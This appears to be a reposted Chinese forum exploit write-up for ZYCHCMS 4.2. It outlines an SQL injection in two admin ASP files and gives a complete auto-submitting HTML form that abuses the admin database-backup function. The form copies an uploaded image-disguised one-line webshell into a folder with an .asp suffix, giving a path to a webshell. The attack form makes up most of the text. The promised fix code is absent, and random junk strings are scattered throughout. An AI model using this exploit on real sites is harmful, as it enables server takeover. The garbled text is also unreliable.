ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell

admin

* F9 h! Y5 e. h/ ]; d( \/ k# W
影响版本：ZYCHCMS企业网站管理系统4.2（存在以下两个文件的版本应该是通杀）
3 N6 }7 o  B- j  x# c+ Q0 _7 J( i2 e( j ①SQL注射漏洞
漏洞文件：/admin/add_js.asp & /admin/add_xm_jiang.asp
漏洞原因：未过滤
' o. S2 {' N  `& |  c% Z) W 漏洞代码：
; t4 V/ [7 Y" L1 H8 Z+ P  G6 m" b 都是相同的，文件开头没有调用过滤文件/admin/seeion.asp，导致没有对当前权限进行判断，就直接操作数据库。
修复方法：在文件开头加入代码
, {, m6 d9 r8 B, w; G$ y6 q- L

②后台拿WBSHELL
进入后台有一个数据库备份，可以通过本地提交突破创建.asp后缀文件夹，并将一句话备份进去。
这里在网上找了一个，改了下，将就着用。
以下是代码本地提交代码


3 V7 K- C7 Z7 T4 _<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
<!–eg:http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup–>
<tr>
. n2 s5 H% n$ ]  t <td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
& T7 S; a" c3 h/ [0 P2 O </tr>
<tr>
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
</span>
' ?2 Z* G$ f/ r1 ? <table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
" u: j# z& v/ m3 T <td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
& L9 H' a% v6 R% ? <div align=”left”>
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
<!–eg：../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
6 e2 w& i$ ^1 ^: S- S <input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
# ]+ l7 h  ]" U  } </div></td>
</tr>
7 A  V+ n$ J; L) ]6 g <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
# J! j4 G3 ^9 s, k; Z9 \3 T3 Y <td class=”td”><div align=”left”>
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
[如备份目录有该文件，将覆盖，如沒有，将自动创建]</div></td>
7 N1 J; }$ l, k2 Z. x' O" k( u- W </tr>
8 ^" t2 L0 V( _! F; e6 |1 ^  o0 Q0 G <tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
( Y" }' N' S6 p* P# [5 O <td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
3 ]! K, W4 i  w6 ^" _( s4 F, S <td class=”td”><div align=”left”>
<input type=”submit” value=”确定备份” class=”btn”
2 N' B* g! A% K# f/ }& x  y1 X8 K </div></td>
</tr>
</table></td></tr></form>
</table>
</td>
9 G5 ?8 H7 q# K3 k4 M. d7 z </tr>
2 X9 X$ y. X$ r4 ` </table>
<script>
  A* j* C1 h9 R: w, a3 \" }7 F( b document.all.add.submit();
</script>

6 ^' k* B! C5 D' T' }
; S8 {) Y. w. O' O, r% S# e
1 o# k! t8 z( k. \# `6 R

5 t4 ]: G  K) A" I
/ T7 b' K+ C6 K* Z" f+ ?

0 V, A! e' a* _6 ^: ^. K" p

2 g  U& v+ Y# s